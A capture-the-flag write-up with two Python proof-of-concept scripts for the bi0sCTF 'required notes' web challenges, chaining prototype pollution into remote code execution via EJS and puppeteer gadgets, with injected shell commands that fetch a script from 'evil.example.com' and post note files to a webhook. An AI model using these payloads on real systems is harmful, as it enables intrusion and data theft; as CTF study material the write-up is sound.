I solved two web challenges: required notes
and required notes revenge
. Although the intened solution is XS-Leak, I found RCE solution even for the revenge challenge!
- CTFtime:
- An author solution for required notes:
- https://gist.github.com/Ze-Pacifist/9bcd1072a62bbc5850322878b21bc8c8
- It uses a leak technique described in https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks.
- 36 solved / 311 pts
- Author: Z_Pacifist
My PoC:
import httpx
# BASE_URL = "http://localhost:3000"
BASE_URL = "https://ch15140139180.ch.eng.run"
client = httpx.Client(base_url=BASE_URL)
def pp(key: str, value: str):
# ref. https://www.code-intelligence.com/blog/cve-protobufjs-prototype-pollution-cve-2023-36665
author = "option(a).constructor.prototype." + key + "=" + value + ""
res = client.post(
"/customise",
json={
"data": [
{},
{
"author": author,
},
]
},
)
assert res.json()["Message"] == "Settings changed", res.text
res = client.post("/create", json={})
assert res.status_code == 500
# PP gadgets: https://mizu.re/post/ejs-server-side-prototype-pollution-gadgets-to-rce
pp("client", "1")
pp(
"escapeFunction",
"\"JSON.stringify; process.mainModule.require('child_process').exec('wget https://webhook.site/xxxxx --post-data=\\\"$(cat notes/*)\\\"')\"",
)
client.get("/create")
# -> {"title":"Healthcheck","content":"success"}{"title":"flag","content":"bi0sctf{X8QWjf8+LUMmXeM4NdQzCw==}"}
- 3 solved / 988 pts
- Author: Z_Pacifist
My PoC:
import httpx
# BASE_URL = "http://localhost:3000"
BASE_URL = "https://ch47140142150.ch.eng.run"
ATTACKER_HOST = "evil.example.com"
client = httpx.Client(base_url=BASE_URL)
def pp(key: str, value: str):
# ref. https://www.code-intelligence.com/blog/cve-protobufjs-prototype-pollution-cve-2023-36665
author = "option(a).constructor.prototype." + key + "=" + value + ""
assert len(author) <= 86, [author, len(author)]
res = client.post(
"/customise",
json={
"data": [
{},
{
"author": author,
},
]
},
)
assert res.json()["Message"] == "Settings changed", res.text
res = client.post("/create", json={})
assert res.status_code == 500
# PP gadgets in puppeteer:
# - https://github.com/puppeteer/puppeteer/blob/puppeteer-v21.5.2/packages/browsers/src/launch.ts#L199-L207
# - https://github.com/puppeteer/puppeteer/blob/puppeteer-v21.5.2/packages/puppeteer-core/src/node/ChromeLauncher.ts#L76-L83
pp("shell", '"sh"')
pp("userDataDir", '"/app/notes"')
pp("executablePath", '"echo"')
pp("ignoreDefaultArgs", "true")
pp("debuggingPort", '";cd\\tnotes;a="')
pp("debuggingPort", f'";wget\\t{ATTACKER_HOST}/x;a="')
pp("debuggingPort", '";sh\\tx;"')
# You need to serve the following shell script at `http://{ATTACKER_HOST}/x`:
# ```
# wget https://webhook.site/xxxxx --post-data="$(cat *.json)"
# ```
res = client.get("/healthcheck")
assert res.json()["Message"] == "healthcheck failed"
# -> {"title":"flag","content":"bi0sctf{riDPzbM5H7l3JAex+mw2vA==}"}{"title":"Healthcheck","content":"success"}